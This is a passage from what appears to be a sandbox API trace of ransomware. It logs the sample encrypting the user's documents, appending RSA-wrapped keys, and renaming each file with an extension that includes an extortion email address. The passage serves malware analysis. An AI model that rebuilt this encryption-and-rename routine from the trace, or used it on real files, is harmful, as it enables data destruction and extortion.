Size=0x40) returned 0x5a4460 [0169.908] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0169.908] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0169.908] GetLastError () returned 0x0 [0169.908] SetLastError (dwErrCode=0x0) [0169.908] GetLastError () returned 0x0 [0169.908] SetLastError (dwErrCode=0x0) [0169.908] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0020 [0169.908] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0169.908] GetLastError () returned 0x0 [0169.908] SetLastError (dwErrCode=0x0) [0169.908] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e98 [0169.908] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e98 | out: hHeap=0x570000) returned 1 [0169.908] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652ff0 [0169.908] FindNextFileW (in: hFindFile=0x653ae0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x619e0680, ftCreationTime.dwHighDateTime=0x1d4d22b, ftLastAccessTime.dwLowDateTime=0x55afc010, ftLastAccessTime.dwHighDateTime=0x1d4d376, ftLastWriteTime.dwLowDateTime=0x55afc010, ftLastWriteTime.dwHighDateTime=0x1d4d376, nFileSizeHigh=0x0, nFileSizeLow=0x8b9f, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ZGo1M570u-.xlsx", cAlternateFileName="ZGO1M5~1.XLS")) returned 0 [0169.909] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x657d78 [0169.909] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e98 [0169.909] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0169.909] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\Dqh2Lyx5DPbcADWmSj\\ZGo1M570u-.xlsx", dwFileAttributes=0x80) returned 1 [0169.909] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x658368 [0169.909] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd6) returned 0x57edf8 [0169.909] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658368 | out: hHeap=0x570000) returned 1 [0169.909] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\Dqh2Lyx5DPbcADWmSj\\ZGo1M570u-.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\spy7gp\\dqh2lyx5dpbcadwmsj\\zgo1m570u-.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a8 [0169.909] GetFileSizeEx (in: hFile=0x7a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=35743) returned 1 [0169.909] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8b9f) returned 0x6590d8 [0169.909] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8b9f) returned 0x661c80 [0169.909] ReadFile (in: hFile=0x7a8, lpBuffer=0x6590d8, nNumberOfBytesToRead=0x8b9f, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x8b9f, lpOverlapped=0x0) returned 1 [0169.910] SetFilePointer (in: hFile=0x7a8, lDistanceToMove=-35743, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.910] WriteFile (in: hFile=0x7a8, lpBuffer=0x661c80*, nNumberOfBytesToWrite=0x8b9f, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x661c80*, lpNumberOfBytesWritten=0x2e3f9b4*=0x8b9f, lpOverlapped=0x0) returned 1 [0169.911] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6590d8 | out: hHeap=0x570000) returned 1 [0169.911] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x661c80 | out: hHeap=0x570000) returned 1 [0169.911] SetFilePointer (in: hFile=0x7a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x8b9f [0169.911] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.911] WriteFile (in: hFile=0x7a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.911] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0169.911] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0169.911] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0169.911] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0169.912] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="zFIKblkVaWMWxWDs/LsCTKXOha02eJ31v0UhHp/6vcy57cYqWY/TbSWhRbbLYIyQ\ndF+NCk13WGbWsozSaEjffuKp0I7B6BESJ4eHrOPG32jvx5MEy8kqH+pFdinxYyoB\nmm3dcZxfht+u1eDihERqhXDwgMABZrI3sYZN+0CHAPPlg/kcvz3oIxsBYm2Bsz/w\nphQabjw16+kb15TRiMy95tTMGum8xv8D9ynbWqZq1Ec91GjdzNjr+W6ZsdIm3jiL\ng5bT8YN5GlDlWqi29qNj4nv3VMCcjWqtfTUwBws5h69HqvLMzAGoEP8e6SbhD3EW\nqvnTBNVo+4fmFcdJ0L6rcg==\n", pcchString=0x2e3f9a8) returned 1 [0169.912] WriteFile (in: hFile=0x7a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0169.912] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.912] WriteFile (in: hFile=0x7a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.912] CloseHandle (hObject=0x7a8) returned 1 [0169.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0169.912] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\Dqh2Lyx5DPbcADWmSj\\ZGo1M570u-.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\spy7gp\\dqh2lyx5dpbcadwmsj\\zgo1m570u-.xlsx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\Dqh2Lyx5DPbcADWmSj\\ZGo1M570u-.xlsx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\spy7gp\\dqh2lyx5dpbcadwmsj\\zgo1m570u-.xlsx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0169.913] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57edf8 | out: hHeap=0x570000) returned 1 [0169.913] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e98 | out: hHeap=0x570000) returned 1 [0169.913] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657d78 | out: hHeap=0x570000) returned 1 [0169.913] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652ff0 | out: hHeap=0x570000) returned 1 [0169.913] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0169.913] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e98 [0169.914] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0169.914] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\Dqh2Lyx5DPbcADWmSj\\zeqEV5.odp", dwFileAttributes=0x80) returned 1 [0169.914] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0169.914] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b0620 [0169.914] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0169.914] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\Dqh2Lyx5DPbcADWmSj\\zeqEV5.odp" (normalized: "c:\\users\\fd1hvy\\documents\\spy7gp\\dqh2lyx5dpbcadwmsj\\zeqev5.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a8 [0169.914] GetFileSizeEx (in: hFile=0x7a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=47286) returned 1 [0169.914] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb8b6) returned 0x6590d8 [0169.914] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb8b6) returned 0x2ea0f38 [0169.914] ReadFile (in: hFile=0x7a8, lpBuffer=0x6590d8, nNumberOfBytesToRead=0xb8b6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0xb8b6, lpOverlapped=0x0) returned 1 [0169.916] SetFilePointer (in: hFile=0x7a8, lDistanceToMove=-47286, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.916] WriteFile (in: hFile=0x7a8, lpBuffer=0x2ea0f38*, nNumberOfBytesToWrite=0xb8b6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0f38*, lpNumberOfBytesWritten=0x2e3f9b4*=0xb8b6, lpOverlapped=0x0) returned 1 [0169.916] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6590d8 | out: hHeap=0x570000) returned 1 [0169.916] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ea0f38 | out: hHeap=0x570000) returned 1 [0169.916] SetFilePointer (in: hFile=0x7a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xb8b6 [0169.916] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.916] WriteFile (in: hFile=0x7a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.916] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0169.916] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0169.917] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0169.917] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0169.917] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="UQNpMZJbE0xO/YnJAHX5hfU9yd36n7kxYcFwPSjAjkpT/+VFwWOaFuzbncJeDLUc\n8ak7+4s+/L15F21xAO6gH8qws9sgvrz4AVBkTedzys76/cdlwQrguSqMvTAAvfxR\nZq3ds6jldWBmzzXEXp7ziKiYKtDI1ojcZMlq7UV8LMqO0SVIrHYW8tkc3rEgGr28\noafljjC2aTFpoL/TjyqD+XP8ES00FOhFmk61VTGwtJJaMGM+HyC7TdcbevdZcOMz\nqSwg7nQ6AUJUkf3UTqQir93XkvA8AkgibzKby8MJvLD0eG+SPq1d8W/lsmXBVXLS\ncozjpCQsfhJ2KhZJK00JYg==\n", pcchString=0x2e3f9a8) returned 1 [0169.917] WriteFile (in: hFile=0x7a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0169.917] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.917] WriteFile (in: hFile=0x7a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.917] CloseHandle (hObject=0x7a8) returned 1 [0169.917] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0169.917] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\Dqh2Lyx5DPbcADWmSj\\zeqEV5.odp" (normalized: "c:\\users\\fd1hvy\\documents\\spy7gp\\dqh2lyx5dpbcadwmsj\\zeqev5.odp"), lpNewFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\Dqh2Lyx5DPbcADWmSj\\zeqEV5.odp.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\spy7gp\\dqh2lyx5dpbcadwmsj\\zeqev5.odp.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0169.918] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b0620 | out: hHeap=0x570000) returned 1 [0169.918] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e98 | out: hHeap=0x570000) returned 1 [0169.918] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0169.918] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0169.918] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652ff0 [0169.918] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x657078 [0169.918] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0169.918] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\Dqh2Lyx5DPbcADWmSj\\wq8ly3t8xnqt.docx", dwFileAttributes=0x80) returned 1 [0169.919] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x658bb8 [0169.919] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x58e710 [0169.919] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658bb8 | out: hHeap=0x570000) returned 1 [0169.919] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\Dqh2Lyx5DPbcADWmSj\\wq8ly3t8xnqt.docx" (normalized: "c:\\users\\fd1hvy\\documents\\spy7gp\\dqh2lyx5dpbcadwmsj\\wq8ly3t8xnqt.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a8 [0169.919] GetFileSizeEx (in: hFile=0x7a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=14202) returned 1 [0169.919] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x377a) returned 0x6590d8 [0169.919] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x377a) returned 0x65c860 [0169.919] ReadFile (in: hFile=0x7a8, lpBuffer=0x6590d8, nNumberOfBytesToRead=0x377a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x377a, lpOverlapped=0x0) returned 1 [0169.920] SetFilePointer (in: hFile=0x7a8, lDistanceToMove=-14202, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.920] WriteFile (in: hFile=0x7a8, lpBuffer=0x65c860*, nNumberOfBytesToWrite=0x377a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65c860*, lpNumberOfBytesWritten=0x2e3f9b4*=0x377a, lpOverlapped=0x0) returned 1 [0169.920] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6590d8 | out: hHeap=0x570000) returned 1 [0169.920] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65c860 | out: hHeap=0x570000) returned 1 [0169.920] SetFilePointer (in: hFile=0x7a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x377a [0169.920] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.920] WriteFile (in: hFile=0x7a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.920] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0169.920] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0169.920] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0169.920] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0169.920] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="Y3uvCShdUp2n2knw2nYD7m/Ubd9EQLCPKtYKIeDDbxLzFYeYaJ4OEHDPLScfhJxT\nj50qylmJzkrLvVYbQVEu6orGV6q0zWUMUYRomretXs/R+uNektyL5j2wZdBzSHY0\nvPVxpxPY2gIZwiu4ALObdKtItp4TL5EEA5hoWwDiyfhSHPV3v7ywapjBB4A5Uifx\n4ZlPcjswGZK0xmaUoY3jOFuVjp14Sfij++24uUbRWsB9ZWK7Hw6wKYTSIs2B2L6d\nrREfmxvSToFti/26Gx3RZ7VO68pKOK7FnDC7unixN7eJNj7JcVhuQ0YfVc3Ltbkv\n8kcLA8kvMIE31JEJjOUsiw==\n", pcchString=0x2e3f9a8) returned 1 [0169.920] WriteFile (in: hFile=0x7a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0169.920] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.920] WriteFile (in: hFile=0x7a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.920] CloseHandle (hObject=0x7a8) returned 1 [0169.921] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0169.921] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\Dqh2Lyx5DPbcADWmSj\\wq8ly3t8xnqt.docx" (normalized: "c:\\users\\fd1hvy\\documents\\spy7gp\\dqh2lyx5dpbcadwmsj\\wq8ly3t8xnqt.docx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\Dqh2Lyx5DPbcADWmSj\\wq8ly3t8xnqt.docx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\spy7gp\\dqh2lyx5dpbcadwmsj\\wq8ly3t8xnqt.docx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0169.922] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e710 | out: hHeap=0x570000) returned 1 [0169.922] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657078 | out: hHeap=0x570000) returned 1 [0169.922] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652ff0 | out: hHeap=0x570000) returned 1 [0169.922] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652f58 | out: hHeap=0x570000) returned 1 [0169.922] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x656800 [0169.922] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x657000 [0169.922] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0169.922] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\Dqh2Lyx5DPbcADWmSj\\Qaoy3PLuKp5zNT4kl1.xlsx", dwFileAttributes=0x80) returned 1 [0169.922] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x6558e8 [0169.922] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xee) returned 0x651ca8 [0169.922] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6558e8 | out: hHeap=0x570000) returned 1 [0169.922] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\Dqh2Lyx5DPbcADWmSj\\Qaoy3PLuKp5zNT4kl1.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\spy7gp\\dqh2lyx5dpbcadwmsj\\qaoy3plukp5znt4kl1.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a8 [0169.923] GetFileSizeEx (in: hFile=0x7a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=5762) returned 1 [0169.923] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1682) returned 0x6590d8 [0169.923] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1682) returned 0x65a768 [0169.923] ReadFile (in: hFile=0x7a8, lpBuffer=0x6590d8, nNumberOfBytesToRead=0x1682, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x1682, lpOverlapped=0x0) returned 1 [0169.923] SetFilePointer (in: hFile=0x7a8, lDistanceToMove=-5762, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.923] WriteFile (in: hFile=0x7a8, lpBuffer=0x65a768*, nNumberOfBytesToWrite=0x1682, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65a768*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1682, lpOverlapped=0x0) returned 1 [0169.923] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6590d8 | out: hHeap=0x570000) returned 1 [0169.923] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65a768 | out: hHeap=0x570000) returned 1 [0169.923] SetFilePointer (in: hFile=0x7a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1682 [0169.924] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.924] WriteFile (in: hFile=0x7a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.924] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0169.924] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0169.924] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0169.924] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0169.924] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="WWvohHYD8kyIX5kZ+NnCTkXca6AcAhxGP4Tq9+iquGFe7kD6wpKSDLM6YQ/zfvx3\nuaC65b9FptgFQqi57EeUQs86PmUJ8lh7pU+bs4EJz2O+rNy7TkVcGphE9s7Jc73V\n5PiYmgodFrb+1qBWAotwXTlZF44SczX3f4a46Ak4DWKOniD4QGyTG+cOI47xWXHE\nWl2UXONfQM8HFjc1DW1fg06w+YJy3BOHP+mvDuuJLV9MtaEZX1x92uv/o1xp2vCg\nyJjG7AAyMMosbnZDX2XD02vRa/CUiHSihZq9iumnThjtxBAWdzdD/W4U5z1iq1sH\nsamNSmcT2kv72t9VEBzUEg==\n", pcchString=0x2e3f9a8) returned 1 [0169.924] WriteFile (in: hFile=0x7a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0169.924] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.924] WriteFile (in: hFile=0x7a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.924] CloseHandle (hObject=0x7a8) returned 1 [0169.924] HeapFree (in: hHeap=0x570000, dwFlags=0x0, 